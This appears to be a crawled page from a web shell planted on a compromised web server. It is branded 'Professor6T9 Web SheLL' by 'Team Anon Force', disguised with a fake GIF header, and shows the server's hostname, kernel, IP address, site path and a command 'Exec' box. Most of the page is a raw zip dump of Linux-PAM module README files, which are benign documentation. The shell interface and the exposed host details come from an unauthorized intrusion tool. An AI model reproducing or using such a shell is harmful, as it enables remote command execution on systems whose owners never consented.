GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
txts.zip
PK 9kZW"�<� � README.pam_execnu �[��� pam_exec — PAM module which calls an external command ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_exec is a PAM module that can be used to run an external command. The child's environment is set to the current PAM environment list, as returned by pam_getenvlist(3) In addition, the following PAM items are exported as environment variables: PAM_RHOST, PAM_RUSER, PAM_SERVICE, PAM_TTY, PAM_USER and PAM_TYPE, which contains one of the module types: account, auth, password, open_session and close_session. Commands called by pam_exec need to be aware of that the user can have controll over the environment. OPTIONS debug Print debug information. expose_authtok During authentication the calling command can read the password from stdin (3). Only first PAM_MAX_RESP_SIZE bytes of a password are provided to the command. log=file The output of the command is appended to file type=type Only run the command if the module type matches the given type. stdout Per default the output of the executed command is written to /dev/null. With this option, the stdout output of the executed command is redirected to the calling application. It's in the responsibility of this application what happens with the output. The log option is ignored. quiet Per default pam_exec.so will echo the exit status of the external command if it fails. Specifying this option will suppress the message. seteuid Per default pam_exec.so will execute the external command with the real user ID of the calling process. Specifying this option means the command is run with the effective user ID. EXAMPLES Add the following line to /etc/pam.d/passwd to rebuild the NIS database after each local password change: password optional pam_exec.so seteuid /usr/bin/make -C /var/yp This will execute the command make -C /var/yp with effective user ID. AUTHOR pam_exec was written by Thorsten Kukuk <kukuk@thkukuk.de> and Josh Triplett <josh@joshtriplett.org>. PK 9kZ,��� � README.pam_localusernu �[��� pam_localuser — require users to be listed in /etc/passwd ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_localuser is a PAM module to help implementing site-wide login policies, where they typically include a subset of the network's users and a few accounts that are local to a particular workstation. Using pam_localuser and pam_wheel or pam_listfile is an effective way to restrict access to either local users and/or a subset of the network's users. This could also be implemented using pam_listfile.so and a very short awk script invoked by cron, but it's common enough to have been separated out. OPTIONS debug Print debug information. file=/path/passwd Use a file other than /etc/passwd. EXAMPLES Add the following lines to /etc/pam.d/su to allow only local users or group wheel to use su. account sufficient pam_localuser.so account required pam_wheel.so AUTHOR pam_localuser was written by Nalin Dahyabhai <nalin@redhat.com>. PK 9kZ�jx�p p README.pam_sepermitnu �[��� pam_sepermit — PAM module to allow/deny login depending on SELinux enforcement state ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_sepermit module allows or denies login depending on SELinux enforcement state. When the user which is logging in matches an entry in the config file he is allowed access only when the SELinux is in enforcing mode. Otherwise he is denied access. For users not matching any entry in the config file the pam_sepermit module returns PAM_IGNORE return value. The config file contains a list of user names one per line with optional arguments. If the name is prefixed with @ character it means that all users in the group name match. If it is prefixed with a % character the SELinux user is used to match against the name instead of the account name. Note that when SELinux is disabled the SELinux user assigned to the account cannot be determined. This means that such entries are never matched when SELinux is disabled and pam_sepermit will return PAM_IGNORE. See sepermit.conf(5) for details. OPTIONS debug Turns on debugging via syslog(3). conf=/path/to/config/file Path to alternative config file overriding the default. EXAMPLES auth [success=done ignore=ignore default=bad] pam_sepermit.so auth required pam_unix.so account required pam_unix.so session required pam_permit.so AUTHOR pam_sepermit and this manual page were written by Tomas Mraz <tmraz@redhat.com>. PK 9kZ,U�0 0 README.pam_succeed_ifnu �[��� pam_succeed_if — test account characteristics ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_succeed_if.so is designed to succeed or fail authentication based on characteristics of the account belonging to the user being authenticated or values of other PAM items. One use is to select whether to load other modules based on this test. The module should be given one or more conditions as module arguments, and authentication will succeed only if all of the conditions are met. OPTIONS The following flags are supported: debug Turns on debugging messages sent to syslog. use_uid Evaluate conditions using the account of the user whose UID the application is running under instead of the user being authenticated. quiet Don't log failure or success to the system log. quiet_fail Don't log failure to the system log. quiet_success Don't log success to the system log. audit Log unknown users to the system log. Conditions are three words: a field, a test, and a value to test for. Available fields are user, uid, gid, shell, home, ruser, rhost, tty and service : field < number Field has a value numerically less than number. field <= number Field has a value numerically less than or equal to number. field eq number Field has a value numerically equal to number. field >= number Field has a value numerically greater than or equal to number. field > number Field has a value numerically greater than number. field ne number Field has a value numerically different from number. field = string Field exactly matches the given string. field != string Field does not match the given string. field =~ glob Field matches the given glob. field !~ glob Field does not match the given glob. field in item:item:... Field is contained in the list of items separated by colons. field notin item:item:... Field is not contained in the list of items separated by colons. user ingroup group User is in given group. user notingroup group User is not in given group. user innetgr netgroup (user,host) is in given netgroup. user notinnetgr group (user,host) is not in given netgroup. EXAMPLES To emulate the behaviour of pam_wheel, except there is no fallback to group 0: auth required pam_succeed_if.so quiet user ingroup wheel Given that the type matches, only loads the othermodule rule if the UID is over 500. Adjust the number after default to skip several rules. type [default=1 success=ignore] pam_succeed_if.so quiet uid > 500 type required othermodule.so arguments... AUTHOR Nalin Dahyabhai <nalin@redhat.com> PK 9kZ�fPbo o README.pam_xauthnu �[��� pam_xauth — PAM module to forward xauth keys between users ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_xauth PAM module is designed to forward xauth keys (sometimes referred to as "cookies") between users. Without pam_xauth, when xauth is enabled and a user uses the su(1) command to assume another user's privileges, that user is no longer able to access the original user's X display because the new user does not have the key needed to access the display. pam_xauth solves the problem by forwarding the key from the user running su (the source user) to the user whose identity the source user is assuming (the target user) when the session is created, and destroying the key when the session is torn down. This means, for example, that when you run su(1) from an xterm session, you will be able to run X programs without explicitly dealing with the xauth(1) xauth command or ~/.Xauthority files. pam_xauth will only forward keys if xauth can list a key connected to the $DISPLAY environment variable. Primitive access control is provided by ~/.xauth/export in the invoking user's home directory and ~/.xauth/import in the target user's home directory. If a user has a ~/.xauth/import file, the user will only receive cookies from users listed in the file. If there is no ~/.xauth/import file, the user will accept cookies from any other user. If a user has a .xauth/export file, the user will only forward cookies to users listed in the file. If there is no ~/.xauth/export file, and the invoking user is not root, the user will forward cookies to any other user. If there is no ~ /.xauth/export file, and the invoking user is root, the user will not forward cookies to other users. Both the import and export files support wildcards (such as *). Both the import and export files can be empty, signifying that no users are allowed. OPTIONS debug Print debug information. xauthpath=/path/to/xauth Specify the path the xauth program (it is expected in /usr/X11R6/bin/xauth, /usr/bin/xauth, or /usr/bin/X11/xauth by default). systemuser=UID Specify the highest UID which will be assumed to belong to a "system" user. pam_xauth will refuse to forward credentials to users with UID less than or equal to this number, except for root and the "targetuser", if specified. targetuser=UID Specify a single target UID which is exempt from the systemuser check. EXAMPLES Add the following line to /etc/pam.d/su to forward xauth keys between users when calling su: session optional pam_xauth.so IMPLEMENTATION DETAILS pam_xauth will work only if it is used from a setuid application in which the getuid() call returns the id of the user running the application, and for which PAM can supply the name of the account that the user is attempting to assume. The typical application of this type is su(1). The application must call both pam_open_session() and pam_close_session() with the ruid set to the uid of the calling user and the euid set to root, and must have provided as the PAM_USER item the name of the target user. pam_xauth calls xauth(1) as the source user to extract the key for $DISPLAY, then calls xauth as the target user to merge the key into the a temporary database and later remove the database. pam_xauth cannot be told to not remove the keys when the session is closed. AUTHOR pam_xauth was written by Nalin Dahyabhai <nalin@redhat.com>, based on original version by Michael K. Johnson <johnsonm@redhat.com>. PK 9kZ�(��> > README.pam_rootoknu �[��� pam_rootok — Gain only root access ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_rootok is a PAM module that authenticates the user if their UID is 0. Applications that are created setuid-root generally retain the UID of the user but run with the authority of an enhanced effective-UID. It is the real UID that is checked. OPTIONS debug Print debug information. EXAMPLES In the case of the su(1) application the historical usage is to permit the superuser to adopt the identity of a lesser user without the use of a password. To obtain this behavior with PAM the following pair of lines are needed for the corresponding entry in the /etc/pam.d/su configuration file: # su authentication. Root is granted access by default. auth sufficient pam_rootok.so auth required pam_unix.so AUTHOR pam_rootok was written by Andrew G. Morgan, <morgan@kernel.org>. PK 9kZ~�GpL L README.pam_echonu �[��� pam_echo — PAM module for printing text messages ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_echo PAM module is for printing text messages to inform user about special things. Sequences starting with the % character are interpreted in the following way: %H The name of the remote host (PAM_RHOST). %h The name of the local host. %s The service name (PAM_SERVICE). %t The name of the controlling terminal (PAM_TTY). %U The remote user name (PAM_RUSER). %u The local user name (PAM_USER). All other sequences beginning with % expands to the characters following the % character. EXAMPLES For an example of the use of this module, we show how it may be used to print information about good passwords: password optional pam_echo.so file=/usr/share/doc/good-password.txt password required pam_unix.so AUTHOR Thorsten Kukuk <kukuk@thkukuk.de> PK 9kZ��ݫ] ] README.pam_loginuidnu �[��� pam_loginuid — Record user's login uid to the process attribute ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_loginuid module sets the loginuid process attribute for the process that was authenticated. This is necessary for applications to be correctly audited. This PAM module should only be used for entry point applications like: login, sshd, gdm, vsftpd, crond and atd. There are probably other entry point applications besides these. You should not use it for applications like sudo or su as that defeats the purpose by changing the loginuid to the account they just switched to. EXAMPLES #%PAM-1.0 auth required pam_unix.so auth required pam_nologin.so account required pam_unix.so password required pam_unix.so session required pam_unix.so session required pam_loginuid.so AUTHOR pam_loginuid was written by Steve Grubb <sgrubb@redhat.com> PK 9kZ�D�+ + README.pam_envnu �[��� pam_env -- PAM module to set/unset environment variables -------------------------------------------------------------------------- DESCRIPTION The pam_env PAM module allows the (un)setting of environment variables. Supported is the use of previously set environment variables as well as PAM_ITEMs such as PAM_RHOST. By default rules for (un)setting of variables are taken from the config file /etc/security/pam_env.conf. An alternate file can be specified with the conffile option. Second a file (/etc/environment by default) with simple KEY=VAL pairs on separate lines will be read. With the envfile option an alternate file can be specified. And with the readenv option this can be completly disabled. Third it will read a user configuration file ($HOME/.pam_environment by default). The default file file can be changed with the user_envfile option and it can be turned on and off with the user_readenv option. Since setting of PAM environment variables can have side effects to other modules, this module should be the last one on the stack. OPTIONS conffile=/path/to/pam_env.conf Indicate an alternative pam_env.conf style configuration file to override the default. This can be useful when different services need different environments. debug A lot of debug information is printed with syslog(3). envfile=/path/to/environment Indicate an alternative environment file to override the default. The syntax are simple KEY=VAL pairs on separate lines. The export instruction can be specified for bash compatibility, but will be ignored. This can be useful when different services need different environments. readenv=0|1 Turns on or off the reading of the file specified by envfile (0 is off, 1 is on). By default this option is on. user_envfile=filename Indicate an alternative .pam_environment file to override the default.The syntax is the same as for /etc/environment. The filename is relative to the user home directory. This can be useful when different services need different environments. user_readenv=0|1 Turns on or off the reading of the user specific environment file. 0 is off, 1 is on. By default this option is off as user supplied environment variables in the PAM environment could affect behavior of subsequent modules in the stack without the consent of the system administrator. EXAMPLES These are some example lines which might be specified in /etc/security/pam_env.conf. Set the REMOTEHOST variable for any hosts that are remote, default to "localhost" rather than not being set at all REMOTEHOST DEFAULT=localhost OVERRIDE=@{PAM_RHOST} Set the DISPLAY variable if it seems reasonable DISPLAY DEFAULT=${REMOTEHOST}:0.0 OVERRIDE=${DISPLAY} Now some simple variables PAGER DEFAULT=less MANPAGER DEFAULT=less LESS DEFAULT="M q e h15 z23 b80" NNTPSERVER DEFAULT=localhost PATH DEFAULT=${HOME}/bin:/usr/local/bin:/bin\ :/usr/bin:/usr/local/bin/X11:/usr/bin/X11 XDG_DATA_HOME @{HOME}/share/ Silly examples of escaped variables, just to show how they work. DOLLAR DEFAULT=\$ DOLLARDOLLAR DEFAULT= OVERRIDE=\$${DOLLAR} DOLLARPLUS DEFAULT=\${REMOTEHOST}${REMOTEHOST} ATSIGN DEFAULT="" OVERRIDE=\@ PK 9kZ2Ш README.pam_filternu �[��� pam_filter — PAM filter module ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION This module is intended to be a platform for providing access to all of the input/output that passes between the user and the application. It is only suitable for tty-based and (stdin/stdout) applications. To function this module requires filters to be installed on the system. The single filter provided with the module simply transposes upper and lower case letters in the input and output streams. (This can be very annoying and is not kind to termcap based editors). Each component of the module has the potential to invoke the desired filter. The filter is always execv(2) with the privilege of the calling application and not that of the user. For this reason it cannot usually be killed by the user without closing their session. OPTIONS debug Print debug information. new_term The default action of the filter is to set the PAM_TTY item to indicate the terminal that the user is using to connect to the application. This argument indicates that the filter should set PAM_TTY to the filtered pseudo-terminal. non_term don't try to set the PAM_TTY item. runX In order that the module can invoke a filter it should know when to invoke it. This argument is required to tell the filter when to do this. Permitted values for X are 1 and 2. These indicate the precise time that the filter is to be run. To understand this concept it will be useful to have read the pam(3) manual page. Basically, for each management group there are up to two ways of calling the module's functions. In the case of the authentication and session components there are actually two separate functions. For the case of authentication, these functions are pam_authenticate(3) and pam_setcred(3), here run1 means run the filter from the pam_authenticate function and run2 means run the filter from pam_setcred. In the case of the session modules, run1 implies that the filter is invoked at the pam_open_session(3) stage, and run2 for pam_close_session(3). For the case of the account component. Either run1 or run2 may be used. For the case of the password component, run1 is used to indicate that the filter is run on the first occasion of pam_chauthtok(3) (the PAM_PRELIM_CHECK phase) and run2 is used to indicate that the filter is run on the second occasion (the PAM_UPDATE_AUTHTOK phase). filter The full pathname of the filter to be run and any command line arguments that the filter might expect. EXAMPLES Add the following line to /etc/pam.d/login to see how to configure login to transpose upper and lower case letters once the user has logged in: session required pam_filter.so run1 /lib/security/pam_filter/upperLOWER AUTHOR pam_filter was written by Andrew G. Morgan <morgan@kernel.org>. PK 9kZ NK- - README.pam_namespacenu �[��� pam_namespace -- PAM module for configuring namespace for a session -------------------------------------------------------------------------- DESCRIPTION The pam_namespace PAM module sets up a private namespace for a session with polyinstantiated directories. A polyinstantiated directory provides a different instance of itself based on user name, or when using SELinux, user name, security context or both. If an executable script /etc/security/namespace.init exists, it is used to initialize the instance directory after it is set up and mounted on the polyinstantiated directory. The script receives the polyinstantiated directory path, the instance directory path, flag whether the instance directory was newly created (0 for no, 1 for yes), and the user name as its arguments. The pam_namespace module disassociates the session namespace from the parent namespace. Any mounts/unmounts performed in the parent namespace, such as mounting of devices, are not reflected in the session namespace. To propagate selected mount/unmount events from the parent namespace into the disassociated session namespace, an administrator may use the special shared-subtree feature. For additional information on shared-subtree feature, please refer to the mount(8) man page and the shared-subtree description at http://lwn.net/Articles/159077 and http://lwn.net/Articles/159092. OPTIONS debug A lot of debug information is logged using syslog unmnt_remnt For programs such as su and newrole, the login session has already setup a polyinstantiated namespace. For these programs, polyinstantiation is performed based on new user id or security context, however the command first needs to undo the polyinstantiation performed by login. This argument instructs the command to first undo previous polyinstantiation before proceeding with new polyinstantiation based on new id/context unmnt_only For trusted programs that want to undo any existing bind mounts and process instance directories on their own, this argument allows them to unmount currently mounted instance directories require_selinux If selinux is not enabled, return failure gen_hash Instead of using the security context string for the instance name, generate and use its md5 hash. ignore_config_error If a line in the configuration file corresponding to a polyinstantiated directory contains format error, skip that line process the next line. Without this option, pam will return an error to the calling program resulting in termination of the session. ignore_instance_parent_mode Instance parent directories by default are expected to have the restrictive mode of 000. Using this option, an administrator can choose to ignore the mode of the instance parent. This option should be used with caution as it will reduce security and isolation goals of the polyinstantiation mechanism. unmount_on_close Explicitly unmount the polyinstantiated directories instead of relying on automatic namespace destruction after the last process in a namespace exits. This option should be used only in case it is ensured by other means that there cannot be any processes running in the private namespace left after the session close. It is also useful only in case there are multiple pam session calls in sequence from the same process. use_current_context Useful for services which do not change the SELinux context with setexeccon call. The module will use the current SELinux context of the calling process for the level and context polyinstantiation. use_default_context Useful for services which do not use pam_selinux for changing the SELinux context with setexeccon call. The module will use the default SELinux context of the user for the level and context polyinstantiation. mount_private This option can be used on systems where the / mount point or its submounts are made shared (for example with a mount --make-rshared / command). The module will mark the whole directory tree so any mount and unmount operations in the polyinstantiation namespace are private. Normally the pam_namespace will try to detect the shared / mount point and make the polyinstantiated directories private automatically. This option has to be used just when only a subtree is shared and / is not. Note that mounts and unmounts done in the private namespace will not affect the parent namespace if this option is used or when the shared / mount point is autodetected. DESCRIPTION The pam_namespace.so module allows setup of private namespaces with polyinstantiated directories. Directories can be polyinstantiated based on user name or, in the case of SELinux, user name, sensitivity level or complete security context. If an executable script /etc/security/namespace.init exists, it is used to initialize the namespace every time an instance directory is set up and mounted. The script receives the polyinstantiated directory path and the instance directory path as its arguments. The /etc/security/namespace.conf file specifies which directories are polyinstantiated, how they are polyinstantiated, how instance directories would be named, and any users for whom polyinstantiation would not be performed. When someone logs in, the file namespace.conf is scanned. Comments are marked by # characters. Each non comment line represents one polyinstantiated directory. The fields are separated by spaces but can be quoted by " characters also escape sequences \b, \n, and \t are recognized. The fields are as follows: polydir instance_prefix method list_of_uids The first field, polydir, is the absolute pathname of the directory to polyinstantiate. The special string $HOME is replaced with the user's home directory, and $USER with the username. This field cannot be blank. The second field, instance_prefix is the string prefix used to build the pathname for the instantiation of <polydir>. Depending on the polyinstantiation method it is then appended with "instance differentiation string" to generate the final instance directory path. This directory is created if it did not exist already, and is then bind mounted on the <polydir> to provide an instance of <polydir> based on the <method> column. The special string $HOME is replaced with the user's home directory, and $USER with the username. This field cannot be blank. The third field, method, is the method used for polyinstantiation. It can take these values; "user" for polyinstantiation based on user name, "level" for polyinstantiation based on process MLS level and user name, "context" for polyinstantiation based on process security context and user name, "tmpfs" for mounting tmpfs filesystem as an instance dir, and "tmpdir" for creating temporary directory as an instance dir which is removed when the user's session is closed. Methods "context" and "level" are only available with SELinux. This field cannot be blank. The fourth field, list_of_uids, is a comma separated list of user names for whom the polyinstantiation is not performed. If left blank, polyinstantiation will be performed for all users. If the list is preceded with a single "~" character, polyinstantiation is performed only for users in the list. The method field can contain also following optional flags separated by : characters. create=mode,owner,group - create the polyinstantiated directory. The mode, owner and group parameters are optional. The default for mode is determined by umask, the default owner is the user whose session is opened, the default group is the primary group of the user. iscript=path - path to the instance directory init script. The base directory for relative paths is /etc/security/namespace.d. noinit - instance directory init script will not be executed. shared - the instance directories for "context" and "level" methods will not contain the user name and will be shared among all users. mntopts=value - value of this flag is passed to the mount call when the tmpfs mount is done. It allows for example the specification of the maximum size of the tmpfs instance that is created by the mount call. In addition to options specified in the tmpfs(5) manual the nosuid, noexec, and nodev flags can be used to respectively disable setuid bit effect, disable running executables, and disable devices to be interpreted on the mounted tmpfs filesystem. The directory where polyinstantiated instances are to be created, must exist and must have, by default, the mode of 0000. The requirement that the instance parent be of mode 0000 can be overridden with the command line option ignore_instance_parent_mode In case of context or level polyinstantiation the SELinux context which is used for polyinstantiation is the context used for executing a new process as obtained by getexeccon. This context must be set by the calling application or pam_selinux.so module. If this context is not set the polyinstatiation will be based just on user name. The "instance differentiation string" is <user name> for "user" method and <user name>_<raw directory context> for "context" and "level" methods. If the whole string is too long the end of it is replaced with md5sum of itself. Also when command line option gen_hash is used the whole string is replaced with md5sum of itself. EXAMPLES These are some example lines which might be specified in /etc/security/namespace.conf. # The following three lines will polyinstantiate /tmp, # /var/tmp and user's home directories. /tmp and /var/tmp # will be polyinstantiated based on the security level # as well as user name, whereas home directory will be # polyinstantiated based on the full security context and user name. # Polyinstantiation will not be performed for user root # and adm for directories /tmp and /var/tmp, whereas home # directories will be polyinstantiated for all users. # # Note that instance directories do not have to reside inside # the polyinstantiated directory. In the examples below, # instances of /tmp will be created in /tmp-inst directory, # where as instances of /var/tmp and users home directories # will reside within the directories that are being # polyinstantiated. # /tmp /tmp-inst/ level root,adm /var/tmp /var/tmp/tmp-inst/ level root,adm $HOME $HOME/$USER.inst/inst- context For the <service>s you need polyinstantiation (login for example) put the following line in /etc/pam.d/<service> as the last line for session group: session required pam_namespace.so [arguments] This module also depends on pam_selinux.so setting the context. PK 9kZ�%�� README.pam_timenu �[��� pam_time — PAM module for time control access ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_time PAM module does not authenticate the user, but instead it restricts access to a system and or specific applications at various times of the day and on specific days or over various terminal lines. This module can be configured to deny access to (individual) users based on their name, the time of day, the day of week, the service they are applying for and their terminal from which they are making their request. By default rules for time/port access are taken from config file /etc/security/ time.conf. If Linux PAM is compiled with audit support the module will report when it denies access. EXAMPLES These are some example lines which might be specified in /etc/security/ time.conf. All users except for root are denied access to console-login at all times: login ; tty* & !ttyp* ; !root ; !Al0000-2400 Games (configured to use PAM) are only to be accessed out of working hours. This rule does not apply to the user waster: games ; * ; !waster ; Wd0000-2400 | Wk1800-0800 PK 9kZ�q�Q Q README.pam_mkhomedirnu �[��� pam_mkhomedir — PAM module to create users home directory ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_mkhomedir PAM module will create a users home directory if it does not exist when the session begins. This allows users to be present in central database (such as NIS, kerberos or LDAP) without using a distributed file system or pre-creating a large number of directories. The skeleton directory (usually /etc/skel/) is used to copy default files and also sets a umask for the creation. The new users home directory will not be removed after logout of the user. EXAMPLES A sample /etc/pam.d/login file: auth requisite pam_securetty.so auth sufficient pam_ldap.so auth required pam_unix.so auth required pam_nologin.so account sufficient pam_ldap.so account required pam_unix.so password required pam_unix.so session required pam_mkhomedir.so skel=/etc/skel/ umask=0022 session required pam_unix.so session optional pam_lastlog.so session optional pam_mail.so standard AUTHOR pam_mkhomedir was written by Jason Gunthorpe <jgg@debian.org>. PK 9kZ�x] ] README.pam_selinuxnu �[��� pam_selinux — PAM module to set the default security context ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_selinux is a PAM module that sets up the default SELinux security context for the next executed process. When a new session is started, the open_session part of the module computes and sets up the execution security context used for the next execve(2) call, the file security context for the controlling terminal, and the security context used for creating a new kernel keyring. When the session is ended, the close_session part of the module restores old security contexts that were in effect before the change made by the open_session part of the module. Adding pam_selinux into the PAM stack might disrupt behavior of other PAM modules which execute applications. To avoid that, pam_selinux.so open should be placed after such modules in the PAM stack, and pam_selinux.so close should be placed before them. When such a placement is not feasible, pam_selinux.so restore could be used to temporary restore original security contexts. OPTIONS open Only execute the open_session part of the module. close Only execute the close_session part of the module. restore In open_session part of the module, temporarily restore the security contexts as they were before the previous call of the module. Another call of this module without the restore option will set up the new security contexts again. nottys Do not setup security context of the controlling terminal. debug Turn on debug messages via syslog(3). verbose Attempt to inform the user when security context is set. select_context Attempt to ask the user for a custom security context role. If MLS is on, ask also for sensitivity level. env_params Attempt to obtain a custom security context role from PAM environment. If MLS is on, obtain also sensitivity level. This option and the select_context option are mutually exclusive. The respective PAM environment variables are SELINUX_ROLE_REQUESTED, SELINUX_LEVEL_REQUESTED, and SELINUX_USE_CURRENT_RANGE. The first two variables are self describing and the last one if set to 1 makes the PAM module behave as if the use_current_range was specified on the command line of the module. use_current_range Use the sensitivity level of the current process for the user context instead of the default level. Also suppresses asking of the sensitivity level from the user or obtaining it from PAM environment. EXAMPLES auth required pam_unix.so session required pam_permit.so session optional pam_selinux.so AUTHOR pam_selinux was written by Dan Walsh <dwalsh@redhat.com>. PK 9kZ KC� � README.pam_shellsnu �[��� pam_shells — PAM module to check for valid login shell ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_shells is a PAM module that only allows access to the system if the user's shell is listed in /etc/shells. It also checks if /etc/shells is a plain file and not world writable. OPTIONS This module does not recognise any options. EXAMPLES auth required pam_shells.so AUTHOR pam_shells was written by Erik Troan <ewt@redhat.com>. PK 9kZ��a a README.pam_unixnu �[��� pam_unix -- Module for traditional password authentication -------------------------------------------------------------------------- DESCRIPTION This is the standard Unix authentication module. It uses standard calls from the system's libraries to retrieve and set account information as well as authentication. Usually this is obtained from the /etc/passwd and the /etc/shadow file as well if shadow is enabled. The account component performs the task of establishing the status of the user's account and password based on the following shadow elements: expire, last_change, max_change, min_change, warn_change. In the case of the latter, it may offer advice to the user on changing their password or, through the PAM_AUTHTOKEN_REQD return, delay giving service to the user until they have established a new password. The entries listed above are documented in the shadow(5) manual page. Should the user's record not contain one or more of these entries, the corresponding shadow check is not performed. The authentication component performs the task of checking the users credentials (password). The default action of this module is to not permit the user access to a service if their official password is blank. A helper binary, unix_chkpwd(8), is provided to check the user's password when it is stored in a read protected database. This binary is very simple and will only check the password of the user invoking it. It is called transparently on behalf of the user by the authenticating component of this module. In this way it is possible for applications like xlock(1) to work without being setuid-root. The module, by default, will temporarily turn off SIGCHLD handling for the duration of execution of the helper binary. This is generally the right thing to do, as many applications are not prepared to handle this signal from a child they didn't know was fork()d. The noreap module argument can be used to suppress this temporary shielding and may be needed for use with certain applications. The maximum length of a password supported by the pam_unix module via the helper binary is PAM_MAX_RESP_SIZE - currently 512 bytes. The rest of the password provided by the conversation function to the module will be ignored. The password component of this module performs the task of updating the user's password. The default encryption hash is taken from the ENCRYPT_METHOD variable from /etc/login.defs The session component of this module logs when a user logins or leave the system. Remaining arguments, supported by others functions of this module, are silently ignored. Other arguments are logged as errors through syslog(3). OPTIONS debug Turns on debugging via syslog(3). audit A little more extreme than debug. quiet Turns off informational messages namely messages about session open and close via syslog(3). nullok The default action of this module is to not permit the user access to a service if their official password is blank. The nullok argument overrides this default. try_first_pass Before prompting the user for their password, the module first tries the previous stacked module's password in case that satisfies this module as well. use_first_pass The argument use_first_pass forces the module to use a previous stacked modules password and will never prompt the user - if no password is available or the password is not appropriate, the user will be denied access. nodelay This argument can be used to discourage the authentication component from requesting a delay should the authentication as a whole fail. The default action is for the module to request a delay-on-failure of the order of two second. use_authtok When password changing enforce the module to set the new password to the one provided by a previously stacked password module (this is used in the example of the stacking of the pam_cracklib module documented below). authtok_type=type This argument can be used to modify the password prompt when changing passwords to include the type of the password. Empty by default. nis NIS RPC is used for setting new passwords. remember=n The last n passwords for each user are saved in /etc/security/opasswd in order to force password change history and keep the user from alternating between the same password too frequently. The MD5 password hash algorithm is used for storing the old passwords. Instead of this option the pam_pwhistory module should be used. shadow Try to maintain a shadow based system. md5 When a user changes their password next, encrypt it with the MD5 algorithm. bigcrypt When a user changes their password next, encrypt it with the DEC C2 algorithm. sha256 When a user changes their password next, encrypt it with the SHA256 algorithm. The SHA256 algorithm must be supported by the crypt(3) function. sha512 When a user changes their password next, encrypt it with the SHA512 algorithm. The SHA512 algorithm must be supported by the crypt(3) function. blowfish When a user changes their password next, encrypt it with the blowfish algorithm. The blowfish algorithm must be supported by the crypt(3) function. rounds=n Set the optional number of rounds of the SHA256, SHA512 and blowfish password hashing algorithms to n. broken_shadow Ignore errors reading shadow information for users in the account management module. minlen=n Set a minimum password length of n characters. The max. for DES crypt based passwords are 8 characters. no_pass_expiry When set ignore password expiration as defined by the shadow entry of the user. The option has an effect only in case pam_unix was not used for the authentication or it returned authentication failure meaning that other authentication source or method succeeded. The example can be public key authentication in sshd. The module will return PAM_SUCCESS instead of eventual PAM_NEW_AUTHTOK_REQD or PAM_AUTHTOK_EXPIRED. Invalid arguments are logged with syslog(3). EXAMPLES An example usage for /etc/pam.d/login would be: # Authenticate the user auth required pam_unix.so # Ensure users account and password are still active account required pam_unix.so # Change the user's password, but at first check the strength # with pam_cracklib(8) password required pam_cracklib.so retry=3 minlen=6 difok=3 password required pam_unix.so use_authtok nullok md5 session required pam_unix.so AUTHOR pam_unix was written by various people. PK 9kZ�/�+� � README.pam_debugnu �[��� pam_debug — PAM module to debug the PAM stack ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION The pam_debug PAM module is intended as a debugging aide for determining how the PAM stack is operating. This module returns what its module arguments tell it to return. OPTIONS auth=value The pam_sm_authenticate(3) function will return value. cred=value The pam_sm_setcred(3) function will return value. acct=value The pam_sm_acct_mgmt(3) function will return value. prechauthtok=value The pam_sm_chauthtok(3) function will return value if the PAM_PRELIM_CHECK flag is set. chauthtok=value The pam_sm_chauthtok(3) function will return value if the PAM_PRELIM_CHECK flag is not set. open_session=value The pam_sm_open_session(3) function will return value. close_session=value The pam_sm_close_session(3) function will return value. Where value can be one of: success, open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown, maxtries, new_authtok_reqd, acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err, authtok_recover_err, authtok_lock_busy, authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item, conv_again, incomplete. EXAMPLES auth requisite pam_permit.so auth [success=2 default=ok] pam_debug.so 